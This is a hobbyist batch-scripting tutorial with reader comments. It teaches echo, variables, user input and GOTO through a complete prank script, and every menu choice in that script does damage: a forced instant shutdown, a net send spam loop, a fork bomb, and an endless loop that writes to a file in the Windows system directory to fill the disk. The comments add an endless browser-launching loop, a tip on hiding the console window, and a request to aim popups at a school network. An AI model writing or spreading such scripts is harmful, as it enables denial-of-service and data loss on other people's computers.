Introduction: Batch Tutorial - Take 2

Picture of Batch Tutorial - Take 2

Okay as i said in my previous tutorial on batch (, i plan to create an expansive 3 part (or take) tutorial on batch. Which should cover most of what you need to know to do what you want with batch.

The file attached below is the competed .bat (batch) file made by me, laconix / inevitable_chaos

Step 1: Formatting My Text, Titles, and Cls

Okay to start off with i'll show you the code;
@echo offtitle Choices..                                                                                                                   [by laconix]clsecho You have some choices to make..echo  ..make the wrong choice though and suffer the consequencs!echo.pause:menuclsecho.echo.echo.echo.echo.  echo                       /------------------------------\echo                      / Pick a number between 1 and 3  \echo                     (-   1 .. 2 .. 3                  -)echo                      \  Every choice but one is bad!  /echo                       \------------------------------/

title basically set the title for the command prompt so title is cool!
cls just clears the cmd of any input or output
You should know what echo does by now, but echo. creates a newline which is usefull for formatting.
:menu although i've covered this in my previous tutorial it's worth going over again, essentially it creates a point in a program in which you can GOTO at anytime.
The rest of this section is just formatting. :D

Step 2: Initializing Variables, Getting User Input and the If Statement

Again i will show you the code then explain it;
set choice = nadaecho                             ?.:What'll it be:.?set /p choice=                                   Huh? clsif %choice% == 1 GOTO oneif %choice% == 2 GOTO twoif %choice% == 3 GOTO threemsg * Neither 1, 2 or 3 eh? Too bad, bye bye..shutdown -s -f -t 00

set choice = nada, what this is doing is creating or initializing the variable with the initial value or "nada", or nothing. :D A variable is like a container which stores information for you until it's no longer needed or the program closes.

set /p chose=, this is getting the user input, by using the set command with the argument /p which tell the command to have a promptstring. So basically set /p choice=what number? is like asking a question and them typing the answer.

if the if statement works as such. if condition == true dothis
So basically it's saying if %choice% is equal to 1 GOTO one is that is not true it just goes onto the next line.

shutdown -s -f -t 00 just shutsdown their computer forcing all programs to close, instantly.

Step 3: Piping Command, Asynchronous Commands and Environmental Variables

Again, code first, explanation after;
:onemsg * So you chose #1, thought you'd be safe?msg * WRONG!:netspamnet send * laconix rules! GOTO netspam:twoshutdown -s -t 10pausemsg * Hope you get this in time, because this was the safe one...shutdown -aGOTO hell:threemsg * This is the safe number...pause:forkstart choices.bat | msg * Memory wipeout!GOTO fork:hellmsg * joke, they're all bad!:textbombecho laconix rules! >> %systemroot%/laconix.txtGOTO :textbomb

Basically just goes into an infinite GOTO loop. Very similar to the the fork bomb example 2 in the first tutorial.

Execute the command shutdown -s -t 10" the pauses, if they don't press a key in time their computer shutsdown, if they make it it aborts and makes them GOTO hell

Tells them that none of them were good, does what i call a text bomb. Which pipes (>>) the command echo laconix rules!' to the %systemroot%/laconix.txt in a\n infinite GOTO loop.
%systemroot% is an environmental variable which tell the file to save in the /windows/ directory no matter the name of the root drive, ie. C;/, E:/, Z:/, et cetera

Tricks them into thinking its the safe number
Goes into a fork bomb similar to that in the first tutorial, but with one main difference. Asynchronous commands; start choices.bat | msg * Memory wipeout! the | denotes asynchronous commands, which basically means they've execute at the same time.

Step 4: What Up? Word!

Thanks for reading my tutorial, hope you like the video. Learnt something.
And I hope you continue interest in computers, and in my instructables.

Keep a heads up for my last tutorial in this series soon!


tinkerC (author)2009-07-12

Could you explain the result of msg * rather than echo ?

inevitable_chaos (author)2007-01-12

@Jezza Bear; I also wrote it up, their are other steps then the first one. :( @westfw; basically i was just trying to teach this to people in a way that would be fun for them, ie not bire them to death. @zus; they were birds!

will421 (author)inevitable_chaos2009-06-21

Birdies, LOL.

knoxarama (author)2009-05-30

ur a terrible person i like that

roger3245 (author)2008-11-12

EVIIIL!! And I love it :D Got me with the shutdown, but the forkbomb windows stopped the shutdown for like 5 mins lol Nice Job!

Mavc0rz (author)2008-10-28

Hey nice man! Rly good tutorial, but your screen is a bit small :P but very good! greetings, Mav0crz

Access_ (author)2007-05-14

I like what your teaching. Id like to learn how to make a loop. and also make multi msg boxs poping up all over the screen and not just in one place. Also is there away to make the black cmd go away so it dont show when your making a .bat file ? cause people can just exit that and then prog is pointless

mutant (author)Access_2007-11-18

Use a downloadable DOS command called RunH. This makes it run with out showing the CMD window. Also for a loop use this: :start commandtoexecute start nameofbatchfile goto start This will open that command over and over. This is really fun with this command: start iexplore.exe LOL.

thefirstgaruga (author)mutant2007-12-19

how come you can't start internet explorer through DOS? and what do you mean by command to execute? is iexplorer another way of saying internet explorer? internet explorers an executable file?

mutant (author)thefirstgaruga2007-12-19

you can.. just use start iexplore.exe

Arbitror (author)mutant2008-09-20

or: start

elmynase (author)2008-04-27

how do you type this "letter": " | " because I can't find it on my keybord unless I copy it!! thx

Neodudeman (author)elmynase2008-07-11

It's right on top of the \ key, usually near the Enter key. Just hold Shift and press \.

elmynase (author)Neodudeman2008-07-13

I have a french key board but thanks any way. and acctually since the last comment I found how to type this letter. you need to hold on " alt " + type "124" and then you will have " | " :)

since you have to type this "|" and you have to type it into comand prompt wrong, you dont have to type it all out in command prompt use notepad

elmynase (author)2008-04-04

yeah ist very instructive althought the screen is kind of small

Padlock (author)2008-03-01

@echo off echo press any key to shut down. pause echo to abort press any key. shutdown -s -t 10 pause Echo aborted. shutdown -a I came up with this... it wont work though?

thefirstgaruga (author)2007-12-19

my batch tutorial is much better than this crap! first of all, most comps now adays don't allow the if command for security reasons. and second that's a very crappy prank. you're nothing but a script kiddie and i spit on you

I'm sorry, but you're hardly a person who can judge a "script kiddie" if you call yourself a hacker and yet don't know that Internet Explorer is an executable file...

coolguy1337 (author)2007-12-15

why msg?

Prestonwbhs (author)2007-10-12

That was a really good tutorial but im still waiting for part 3

thermitekonga (author)2007-09-26

dude these are wierd, how could you use these for hacking?

cubby3 (author)2007-06-18

wat exactly does the 'net send' command do? and is there a way to use the 'msg *' command to make the msgs appear on other users' screens? (i.e. on a school network?) i want to frwak out my mates at school :P

zus (author)2007-01-11

Yeah the there is some wierd background noise and it makes it really hard to understand you aswell

inevitable_chaos (author)zus2007-01-12

I'll try not to record in the morning then, damn birds...

binnie (author)inevitable_chaos2007-02-08

one word SHOTGUN, BANG

babyboi512 (author)binnie2007-06-16

5 words kiss kiss bang bang

Access_ (author)2007-05-14

You can also do this :) @echo off :start start IEXPLORE.EXE kinda cool now im trying to figure out how to redirect the same browser to another website

queenofmischief (author)2007-04-21

i luv ur accent! awesome tutorial!

Roflolommo (author)2007-04-01

wooo another video i love not reading!!

KBlackfox (author)2007-02-08

lol, I dont even have sound (I don't know if the sound card is even in this thing!) I just have to read his mouse.

spoklivelong (author)2007-01-23

to me it was easy to understand and fairly concise. i applaud your efforts.

Thanks! :D
Take 3 will take a little longer to make then 1 and 2. I'm not sure when it'll be out, hopefully soon. =/

Jezza Bear (author)2007-01-11

I found it very difficult to understand your dictation, sorry. You have quite a deep, monotone voice that is very difficult to hear it over laptop speakers. Clever use of software but your lessons need to be backed up with hand outs. I am a lecturer by trade and people learn using different styles including watching, listening, reading and practical work. Look up VARK on Google and it will give you some tips. You have chosen a difficult subject matter to teach and so you need some other options to teach your obvious skills. I hope I do not sound negative about your work, I am not, I just thought they could be taken as constructive comments. Keep going

Just so you know, there are other steps in this intructable. :P

westfw (author)2007-01-11

Couldn't you come up with some examples that are useful, rather than obnoxious pranks? You're hurting your own credibility.

inevitable_chaos (author)westfw2007-01-12

And how the hell am i hurting my own credibility..?

inevitable_chaos (author)westfw2007-01-12

Well my next, and final, tutorial isn't a prank and i will be writing the actual batch file during the tutorial. So I hope you enjoy the next one alittle more than this one.

About This Instructable




More by inevitable_chaos:Batch Tutorial - Take 2Batch Tutorial - Take 1Learn how to program PHP style
Add instructable to: